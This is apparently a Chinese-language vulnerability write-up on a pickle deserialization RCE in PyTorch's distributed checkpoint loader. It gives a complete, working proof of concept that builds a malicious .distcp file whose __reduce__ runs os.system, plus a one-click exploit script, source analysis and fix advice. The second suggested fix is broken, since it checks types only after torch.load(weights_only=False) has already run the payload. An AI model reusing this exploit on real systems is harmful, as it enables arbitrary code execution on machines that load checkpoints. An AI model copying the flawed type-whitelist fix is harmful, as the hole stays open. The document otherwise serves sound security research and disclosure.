PyTorch 分布式检查点 Pickle 反序列化 RCE 漏洞分析
PyTorch 分布式检查点 Pickle 反序列化 RCE 漏洞分析
PyTorch 分布式检查点 Pickle 反序列化 RCE 漏洞分析
漏洞描述
PyTorch 是 Meta 开发的深度学习框架,其分布式检查点(Distributed Checkpoint)模块用于在多 GPU/多节点训练场景中保存和加载模型状态。
漏洞成因:DefaultLoadPlanner.load_bytes() 方法使用 torch.load(weights_only=False) 反序列化检查点文件中的 BYTE_IO 类型数据。当 weights_only=False 时,torch.load() 内部使用 Python 的 pickle 模块进行反序列化,而 pickle 在反序列化带有 __reduce__() 方法的对象时会自动调用该方法,允许攻击者执行任意 Python 代码。
环境搭建
python -m pip install torch漏洞复现
创建恶意检查点
首先创建一个包含恶意负载的类,该类在被 pickle 反序列化时会执行 __reduce__() 方法中的代码:
import os
import torch
import io
from pathlib import Path
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('echo "RCE_VIA_TORCH_LOAD" && touch /tmp/torch_load_pwned',))
# 将恶意对象序列化为 BytesIO
malicious_bytes = io.BytesIO()
torch.save(MaliciousPayload(), malicious_bytes)
malicious_bytes.seek(0)构造检查点文件结构
将恶意数据写入 .distcp 文件,模拟分布式检查点的存储格式:
import tempfile
checkpoint_dir = tempfile.mkdtemp(prefix="pytorch_dist_")
distcp_file = Path(checkpoint_dir) / ".0.distcp"
with open(distcp_file, 'wb') as f:
f.write(malicious_bytes.getvalue())触发漏洞加载
使用 DefaultLoadPlanner.load_bytes() 加载恶意检查点:
from torch.distributed.checkpoint import DefaultLoadPlanner
from torch.distributed.checkpoint.planner import ReadItem, LoadItemType
from torch.distributed.checkpoint.metadata import MetadataIndex
planner = DefaultLoadPlanner(flatten_state_dict=False)
planner.state_dict = {}
dest_index = MetadataIndex(fqn="malicious_key")
storage_index = MetadataIndex(fqn="malicious_key")
read_item = ReadItem(
type=LoadItemType.BYTE_IO,
dest_index=dest_index,
dest_offsets=torch.Size([]),
storage_index=storage_index,
storage_offsets=torch.Size([]),
lengths=torch.Size([])
)
with open(distcp_file, 'rb') as f:
value = io.BytesIO(f.read())
planner.load_bytes(read_item, value)执行结果:
RCE_VIA_TORCH_LOAD检查恶意文件是否创建:
ls -la /tmp/torch_load_pwned
/tmp/torch_load_pwned
RCE 成功,恶意代码被执行,文件 /tmp/torch_load_pwned 被创建
一键利用 PoC
#!/usr/bin/env python3
import os
import io
import tempfile
from pathlib import Path
import torch
from torch.distributed.checkpoint import DefaultLoadPlanner
from torch.distributed.checkpoint.planner import ReadItem, LoadItemType
from torch.distributed.checkpoint.metadata import MetadataIndex
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('echo "RCE_VIA_TORCH_LOAD" && touch /tmp/torch_load_pwned',))
checkpoint_dir = tempfile.mkdtemp(prefix="pytorch_dist_")
distcp_file = Path(checkpoint_dir) / ".0.distcp"
malicious_bytes = io.BytesIO()
torch.save(MaliciousPayload(), malicious_bytes)
malicious_bytes.seek(0)
with open(distcp_file, 'wb') as f:
f.write(malicious_bytes.getvalue())
planner = DefaultLoadPlanner(flatten_state_dict=False)
planner.state_dict = {}
read_item = ReadItem(
type=LoadItemType.BYTE_IO,
dest_index=MetadataIndex(fqn="key"),
dest_offsets=torch.Size([]),
storage_index=MetadataIndex(fqn="key"),
storage_offsets=torch.Size([]),
lengths=torch.Size([])
)
with open(distcp_file, 'rb') as f:
planner.load_bytes(read_item, io.BytesIO(f.read()))
if os.path.exists('/tmp/torch_load_pwned'):
print("[+] RCE 成功!")漏洞分析
创建恶意检查点代码分析
文件位置: torch/distributed/checkpoint/default_planner.py
class DefaultLoadPlanner(LoadPlanner):
def __init__(
self,
flatten_state_dict: bool = True,
flatten_sharded_tensors: bool = True,
allow_partial_load: bool = False,
) -> None:
self.flatten_state_dict = flatten_state_dict
self.flatten_sharded_tensors = flatten_sharded_tensors
self.original_state_dict = {}
self.mappings = {}
self.allow_partial_load = allow_partial_load
def set_up_planner(
self,
state_dict: STATE_DICT_TYPE,
metadata: Metadata | None = None,
is_coordinator: bool = False,
) -> None:
_init_state_dict(state_dict)
self.original_state_dict = state_dict
if self.flatten_sharded_tensors:
state_dict = _flatten_sharded_tensors(state_dict)
if self.flatten_state_dict:
state_dict, self.mappings = flatten_state_dict(state_dict)
self.state_dict = state_dict
self.metadata = metadata
self.is_coordinator = is_coordinator我们可以创建的恶意类通过 __reduce__() 方法定义了反序列化时的行为。当 pickle 反序列化该对象时会自动调用 callable(*args)。我们使用 os.system 作为可调用对象,执行任意 shell 命令。
torch.save() 内部使用 pickle.dump() 将对象序列化,恶意类被序列化成包含 __reduce__ 信息的 pickle 数据流。这个数据流随后被写入检查点文件。
构造检查点文件结构代码分析
文件位置: torch/distributed/checkpoint/filesystem.py
class FileSystemReader(StorageReader):
def __init__(self, path: Path) -> None:
self.path = path
self.storage_data: dict[MetadataIndex, _StorageInfo] = {}
self.fs = LocalFileSystem()
def read_data(self, plan: LoadPlan, planner: LoadPlanner) -> Future[None]:
per_file: dict[str, list[ReadItem]] = {}
for read_item in plan.items:
item_md: _StorageInfo = self.storage_data[read_item.storage_index]
path = item_md.relative_path
per_file.setdefault(path, []).append(read_item)
for relative_path, reqs in per_file.items():
new_path = self.fs.concat_path(self.path, relative_path)
with self.fs.create_stream(new_path, "rb") as stream:
for req in reqs:
item_md = self.storage_data[req.storage_index]
file_slice = self._slice_file(stream, item_md)
transform_from = self.transforms.transform_load_stream(
req,
item_md.transform_descriptors or (),
file_slice,
)
if req.type == LoadItemType.BYTE_IO:
read_bytes = io.BytesIO(transform_from.read(-1))
read_bytes.seek(0)
planner.load_bytes(req, read_bytes)FileSystemReader.read_data() 是检查点加载的入口点。它从存储中读取检查点文件内容,根据 LoadPlan 中的 ReadItem 请求处理数据。
关键代码路径是 if req.type == LoadItemType.BYTE_IO: 分支。当数据类型为 BYTE_IO 时,代码将文件内容读取到 io.BytesIO 对象中,然后直接调用 planner.load_bytes(req, read_bytes)
这里没有任何对文件内容的验证或过滤,我们通过构造的恶意 pickle 数据传递给了 planner.load_bytes()
触发漏洞加载代码分析
文件位置: torch/distributed/checkpoint/default_planner.py
def load_bytes(self, read_item: ReadItem, value: io.BytesIO) -> None:
if self.flatten_state_dict:
set_element(
self.original_state_dict,
self.mappings[read_item.dest_index.fqn],
torch.load(value, weights_only=False), # 漏洞点
)
else:
self.state_dict[read_item.dest_index.fqn] = torch.load(
value, weights_only=False # 漏洞点
)这是漏洞的 Sink 点。DefaultLoadPlanner.load_bytes() 接收来自 FileSystemReader 的 BytesIO 数据,直接使用 torch.load(value, weights_only=False) 进行反序列化。
weights_only=False 参数是问题的关键。当设置为 False 时,torch.load() 允许反序列化任意 Python 对象,内部会调用 pickle.load()。pickle 在反序列化时会检查对象的 __reduce__() 方法,如果存在就自动执行,导致任意代码执行。

同一模块中对张量类型的加载使用了安全的方式:
# filesystem.py 中对张量的加载
tensor = cast(
Tensor,
torch.load(
seekable,
map_location="cpu",
weights_only=True, # 安全:只允许加载张量
),
)
漏洞修复
推荐将 weights_only 设置为 True
修复前:
def load_bytes(self, read_item: ReadItem, value: io.BytesIO) -> None:
self.state_dict[read_item.dest_index.fqn] = torch.load(
value, weights_only=False
)修复后:
def load_bytes(self, read_item: ReadItem, value: io.BytesIO) -> None:
# 方案 1: 使用 weights_only=True
self.state_dict[read_item.dest_index.fqn] = torch.load(
value, weights_only=True
)
# 方案 2: 添加类型白名单验证
obj = torch.load(value, weights_only=False)
allowed_types = (torch.Tensor, dict, list, tuple, str, int, float)
if not isinstance(obj, allowed_types):
raise ValueError(f"不允许的类型: {type(obj)}")
self.state_dict[read_item.dest_index.fqn] = obj参考资料
免责声明
本报告仅用于安全研究和教育目的,作者不对任何滥用本报告内容造成的后果负责
PyTorch `DefaultLoadPlanner.load_bytes()` 使用 `torch.load(..., weights_only=False)` 导致恶意 pickle 反序列化 RCE。
由 AI 根据全文自动生成,仅供参考,以原文为准
pytorch官方真的承认这是漏洞吗